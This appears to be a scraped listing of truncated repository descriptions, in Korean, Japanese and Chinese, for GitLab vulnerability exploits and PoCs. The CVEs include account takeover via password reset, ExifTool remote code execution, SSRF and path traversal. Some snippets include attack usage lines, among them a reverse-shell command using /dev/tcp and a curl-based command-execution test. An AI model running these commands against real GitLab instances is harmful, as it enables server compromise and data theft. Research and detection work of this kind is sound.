gitlab-exploit

gitlab-exploit GitLab CVE-2023-7028 GitLab CVE-2023-7028 이 취약점은 GitLab이 비밀번호 재설정 중 이메일 검증을 처리하는 방식의 버그로 인해 발생했습니다. 공격자는 비밀번호 재설정 요청 시 두 개의 이메일 주소를 제공할 수 있었고, 재설정 코드가 두 주소 모두로 전송되었습니다. 이를 통해 공격자는 사용자의 현재 비밀번호를 알지 못하더라도 모든 사용자의 비밀번호를 재설정할 수 있었습니다. 영향을 받는 버전 다음 버전을 사용하는 모든 GitLab CE/EE 인스턴스가 취약했습니다:...

CVE-2022-2992

CVE-2022-2992 GitLab에서 GitHub 가져오기를 통한 인증된 원격 코드 실행. GitLab CE/EE의 11.10부터 15.1.6 이전의 모든 버전, 15.2부터 15.2.4 이전의 모든 버전, 15.3부터 15.3.2 이전의 모든 버전에 영향을 주는 취약점으로, 인증된 사용자가 GitHub에서 가져오기 API 엔드포인트를 통해 원격 코드 실행을 달성할 수 있습니다...

CVE-2021-22205

취약점 영향 GitLab CE/EE 11.9부터 모든 버전에서 문제가 발견되었습니다. GitLab이 파일 파서에 전달된 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 취약 제품 Gitlab CE/EE /tmp/1.txt" !attackcommand1https://assets.kitploit.co...

CVE-2021-22205

CVE-2021-22205 영향받는 버전: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 사용법 python3 CVE-2021-22205.py target "curl \whoami.dnslog" csrf-token 획득: /users/signin을 통해 csrf-token을 획득한 후 앞선 CVE-2021-22205 poc를 사용하여 업로드 패킷을 구성하고 인증되지 않은 업로드 요청을 실행하여 최종적으로 rce를 달성합니다. 참고:...

CVE-2026-85706

CVE-2026-85706 — GitLab Unauthenticated Arbitrary File Read For authorized penetration testing and Red Team operations only. Unauthorized use constitutes a criminal offense. See Legal Notice. Overview CVE-2026-85706 is a CVSS 10.0 path traversal vulnerability in GitLab Community and Enterprise...

CVE-2021-22214

CVE-2021-22214 설명 - CVE-2021-22214용 POC: Gitlab CI Lint API 인증되지 않은 SSRF 취약점 - antx가 2021-11-01에 제작함. 상세 - 웹훅의 내부 네트워크 요청이 활성화된 경우, 10.5부터 모든 버전에 영향을 미치는 GitLab CE/EE의 SSRF서버 측 요청 위조 취약점은 등록이 제한된 GitLab 인스턴스에서도 인증되지 않은 공격자가 악용할 수 있었습니다. CVE 심각도 - attackComplexity: HIGH - attackVector: NETWORK...

CVE-2021-22205

CVE-2021-22205 GitLab이 파일 파서로 전달되는 이미지 파일을 올바르게 검증하지 않아 명령 실행이 발생합니다. 공격자는 악의적인 요청을 구성하여 이 취약점을 이용해 대상 시스템에서 임의의 명령을 실행할 수 있으며, 결국 GitLab 서버가 장악될 수 있습니다. 인터넷에 공개된 대부분의 스크립트에는 리버스 셸reverse shell 기능이 없어서, 공개된 스크립트를 수정하여 원클릭 getshell 기능을 추가했습니다. 영향받는 버전 11.9 = GitLab（CE/EE） 13.8.8 13.9 = GitLab（CE/E...

CVE-2023-7028

CVE-2023-7028 GitLab CE/EE에서 16.1부터 16.1.6 이전, 16.2부터 16.2.9 이전, 16.3부터 16.3.7 이전, 16.4부터 16.4.5 이전, 16.5부터 16.5.6 이전, 16.6부터 16.6.4 이전, 16.7부터 16.7.2 이전의 모든 버전에 영향을 주는 문제가 발견되었습니다. 해당 문제로 사용자 계정 비밀번호 재설정 이메일이 검증되지 않은 이메일 주소로 전송될 수 있습니다. Kali 2023.3에서 Poc 테스트됨 docker에서 GitLab 16.7.0-ee 설치 sudo...

CVE-2026-85706-gitlab-poc

CVE-2026-85706 説明 GitLab CE/EE の未認証任意ファイル読み取り脆弱性 CVE-2026-85706。 影響を受けるバージョン: GitLab CE/EE 18.7 – 19.1.7 GitLab CE/EE 19.2.0 – 19.2.5 GitLab CE/EE 19.3.0 – 19.3.1 修正済みバージョン: GitLab 19.1.8 GitLab 19.2.6 GitLab 19.3.2 脆弱性の詳細 この脆弱性は GitLab の Workhorse コンポーネントに存在します。Workhorse...

CVE-2021-22205

CVE-2021-22205 설명 - POC for CVE-2021-22205: Gitlab CE/EE RCE 未授权远程代码执行漏洞 POC && EXP - antx에 의해 2021-10-29에 작성됨. 상세 - GitLab CE/EE의 11.9부터 모든 버전에 영향을 미치는 문제가 발견되었습니다. GitLab은 파일 파서에 전달된 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. CVE 심각도 - attackComplexity: LOW - attackVector: NETWORK -...

gitread

gitread 自己管理型のGitLab CE/EEに影響を与える、認証不要の任意ファイル読み取りであるCVE-2026-85706のPoC。 | ---|--- CVE| CVE-2026-85706 CVSS| 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N 影響を受けるバージョン| 18.7 から 19.1.7、19.2.0 から 19.2.5、19.3.0 から 19.3.1 修正済み| 19.1.8 / 19.2.6 / 19.3.2 2026-09-10 リリース コンポーネント| Repository Commits API / Files...

CVE-2023-2825

CVE-2023-2825 인증되지 않은 디렉토리 트래버설로 인한 파일 읽기. CVE 요약 GitLab CE/EE 16.0.0 버전에만 영향을 주는 문제가 발견되었습니다. 인증되지 않은 악의적인 사용자는 최소 5개 그룹으로 중첩된 공개 프로젝트에 첨부 파일이 존재할 때 경로 트래버설 취약점을 사용하여 서버에서 임의의 파일을 읽을 수 있습니다. 영향을 받는 버전 Gitlab Gitlab 16.0.0 Community Edition Gitlab Gitlab 16.0.0 Enterprise Edition 특이 사항 중첩된 그룹이 있는...

CVE-2021-22205

CVE-2021-22205 Gitlab CE/EE에서 exiftool을 통한 인증 전pre-auth RCE CVE 요약 GitLab은 허용 목록whitelist에 없는 태그를 제거하기 위해 모든 tiff/jpeg/jpg 파일을 검사할 때 ExifTool을 사용합니다. 하지만 ExifTool은 파일 유형을 결정할 때 파일 확장자를 사용하지 않고 파일의 내용을 사용하므로, 공격자는 임의의 파일을 업로드하고 이를 tiff/jpeg/jpg로 이름을 바꾼 다음 ExifTool이 지원하는 파서를 "악용"할 수 있습니다. ExifTool은...

CVE-2022-2992

CVE-2022-2992 GitLab에서 GitHub 가져오기를 통한 인증된 원격 명령 실행. GitLab CE/EE의 11.10부터 15.1.6 이전의 모든 버전, 15.2부터 15.2.4 이전의 모든 버전, 15.3부터 15.3.2 이전의 모든 버전에 영향을 미치는 취약점으로, 인증된 사용자가 GitHub 가져오기 API 엔드포인트를 통해 원격 코드 실행을 달성할 수 있습니다...

Review.CVE-2023-5612

CVE-2023-5612 – GitLab SSRF via Webhook URL PoC 및 분석 📌 CVE 개요 CVE-ID: CVE-2023-5612 심각도: 높음 CVSS: 8.1 기본 점수 유형: 서버 측 요청 위조 SSRF 구성 요소: GitLab CE/EE 웹훅 영향받는 버전: GitLab CE/EE " \ --data-urlencode "url=http://127.0.0.1:8888" \ http://:8080/api/v4/projects//hooks 🧱 환경 및 설정 - 테스트용으로 특별히 배포된 가상 머신 내의...

CVE-2021-22205

취약점 영향 GitLab CE/EE의 11.9부터 모든 버전에서 문제가 발견되었습니다. GitLab이 파일 파서에 전달되는 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 취약점 제품 Gitlab CE/EE /tmp/1.txt" 배치 스캔 python3 CVE-2021-2205.py -s true -f target.txt 리버스 셸 python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/port...

GitLab-CVE-2023-7028

GitLab CVE-2023-7028 — 模拟 16.6.0（仅主机） CVE-2023-7028（CVSS 10.0）：POST /users/password 接受 useremail 数组 — 服务器通过 email0 查找用户，但将相同的重置令牌发送到 每个 地址 → 攻击者使用 [email protected] 劫持 [email protected]。 受影响版本：GitLab CE/EE 16.5.6、16.6.4、16.7.2。此模拟复现 16.6.0 易受攻击的流程（JSON 数据库，无 SMTP）。 运行 npm install && npm...

cve-2026-85706-poc-exploit-gitlab

cve-2026-85706 GitLab CE/EE における未認証の任意ローカルファイル読み取り。18.7～19.1.7、19.2.0～19.2.5、19.3.0～19.3.1 に影響。19.1.8 / 19.2.6 / 19.3.2 で修正済み（2026-09-10）。CVSS 10.0、実環境での悪用が報告されている。原報告は s3ntago によるもので、このリポジトリは私の writeup と PoC にすぎない。 免責事項 この PoC...

CVE-2026-85706

CVE-2026-85706: GitLab CE/EE の未認証任意ローカルファイル読み取り CVE-2026-85706 は、GitLab CE/EE の Repository Commits API および Repository Files API における重大なパストラバーサル / 認証欠如の問題です。未認証の攻撃者がサーバーに任意のファイルを読み取らせ、その内容をエラーチャネル経由で取得できます。CVSS 3.1 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N。 GitLab の公式タイトルは 「Path Traversal...

gitlab-cve-2026-85706-ioc

CVE-2026-85706 — GitLab Path Traversal IOC Scanner & Detection Toolkit GitLab CE/EE Repository Commits API Unauthenticated Path Traversal CVSS 3.1: 10.0, Critical Status: Actively exploited in the wild · Listed in CISA KEV 2026-09-11, due 2026-09-14 · Patched by GitLab 2026-09-10 A free,...